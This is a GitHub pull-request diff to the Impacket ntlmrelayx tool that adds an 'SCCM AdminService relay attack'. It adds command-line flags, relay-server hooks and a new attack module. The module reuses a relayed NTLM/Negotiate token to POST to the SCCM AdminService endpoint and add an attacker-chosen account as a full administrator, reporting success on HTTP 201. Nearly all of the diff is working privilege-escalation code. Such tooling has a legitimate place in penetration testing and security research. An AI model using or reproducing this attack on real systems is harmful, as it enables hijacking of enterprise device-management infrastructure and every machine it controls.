Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -205,6 +205,7 @@ def start_servers(options, threads):
options.cert_outfile_path)

c.setAltName(options.altname)
c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid)

#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
Expand Down Expand Up @@ -390,6 +391,13 @@ def stop_servers(threads):
help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')

# Adminservice opions
adminoptions = parser.add_argument_group("SCCM AdminService attack options")
adminoptions.add_argument('--adminservice', action='store_true', required=False, help="Enable SCCM AdminService relay attack")
adminoptions.add_argument('--logonname', action='store', required=False, help="Logon name of the account to be added as an admin")
adminoptions.add_argument('--displayname', action='store', required=False, help="Display name name of the account to be added as an admin")
adminoptions.add_argument('--objectsid', action='store', required=False, help="SID of the account to be added as an admin")

try:
options = parser.parse_args()
except Exception as e:
Expand Down
3 changes: 3 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/httpattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@

from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack

PROTOCOL_ATTACK_CLASS = "HTTPAttack"

Expand All @@ -34,6 +35,8 @@ def run(self):

if self.config.isADCSAttack:
ADCSAttack._run(self)
elif self.config.isADMINAttack:
ADMINSERVICEAttack._run(self)
else:
# Default action: Dump requested page to file, named username-targetname.html
# You can also request any page on the server via self.client.session,
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# SCCM AdminService relay attack
#
# Authors:
# Garrett Foster (@garrfoster)
# Tw1sm (@Tw1sm)

from impacket import LOG
from struct import unpack
from impacket.spnego import SPNEGO_NegTokenResp
import json
import base64

ELEVATED = []

class ADMINSERVICEAttack:
def _run(self):
# slightly modfied sendAuth func from httprelayclient.py reused here due to negotiate auth,
# requring all action to be performed in one shot
if self.username in ELEVATED:
LOG.info('Skipping user %s since attack was already performed' % self.username)
return

if unpack('B', self.config.sccmAdminToken[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(self.config.sccmAdminToken)
token = respToken2['ResponseToken']
else:
token = self.config.sccmAdminToken
auth = base64.b64encode(token).decode("ascii")
headers = {'Authorization':'%s %s' % ('Negotiate', auth),'Content-Type': 'application/json; odata=verbose'}

data = {
"LogonName": self.config.logonname,
"AdminSid": self.config.objectsid,
"Permissions": [
{
"CategoryID": "SMS00ALL",
"CategoryTypeID": 29,
"RoleID":"SMS0001R",
},
{
"CategoryID": "SMS00001",
"CategoryTypeID": 1,
"RoleID":"SMS0001R",
},
{
"CategoryID": "SMS00004",
"CategoryTypeID": 1,
"RoleID":"SMS0001R",
}
],
"DisplayName": self.config.displayname
}

body = json.dumps(data)

LOG.info('Adding administrator via SCCM AdminService...')
self.client.request("POST", '/AdminService/wmi/SMS_Admin', headers=headers, body=body)
ELEVATED.append(self.username)
res = self.client.getresponse()

if res.status == 201:
LOG.info('Server returned code 201, attack successful')
else:
self.lastresult = res.read()
LOG.info(f'Server returned code {res.status} - attack likely failed')
LOG.info(self.lastresult.decode("utf-8").replace("'", '"'))
10 changes: 10 additions & 0 deletions impacket/examples/ntlmrelayx/servers/httprelayserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -429,6 +429,16 @@ def do_relay(self, messageType, token, proxy, content = None):

target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)

# when relaying to the SCCM AdminService to add a new administrator,
# we need to break out of the normal relay auth flow and
# perform the attack all in one shot
if self.server.config.isADMINAttack:
LOG.info("Exiting standard auth flow to add SCCM admin...")
self.server.config.setSCCMAdminToken(token)
LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser))
self.do_attack()
return

if not self.do_ntlm_auth(token, authenticateMessage):
LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
self.authUser))
Expand Down
6 changes: 6 additions & 0 deletions impacket/examples/ntlmrelayx/servers/smbrelayserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -326,6 +326,12 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()

if self.config.isADMINAttack:
LOG.info("Exiting standard auth flow to add SCCM admin...")
self.config.setSCCMAdminToken(token)
LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser))
self.do_attack(client)
return
if rawNTLM is True:
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = securityBlob
Expand Down
16 changes: 16 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -100,6 +100,13 @@ def __init__(self):
self.ShadowCredentialsExportType = None
self.ShadowCredentialsOutfilePath = None

# Admin service attack
self.isADMINAttack = False
self.sccmAdminToken = None # internal storage var; not a CLI flag option
self.logonname = None
self.displayname = None
self.objectsid = None

def setSMBChallenge(self, value):
self.SMBServerChallenge = value

Expand Down Expand Up @@ -238,6 +245,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials
def setAltName(self, altName):
self.altName = altName

def setisADMINAttack(self, isADMINAttack, logonname, displayname, objectsid):
self.isADMINAttack = isADMINAttack
self.logonname = logonname
self.displayname = displayname
self.objectsid = objectsid

def setSCCMAdminToken(self, token):
self.sccmAdminToken = token

def parse_listening_ports(value):
ports = set()
for entry in value.split(","):
Expand Down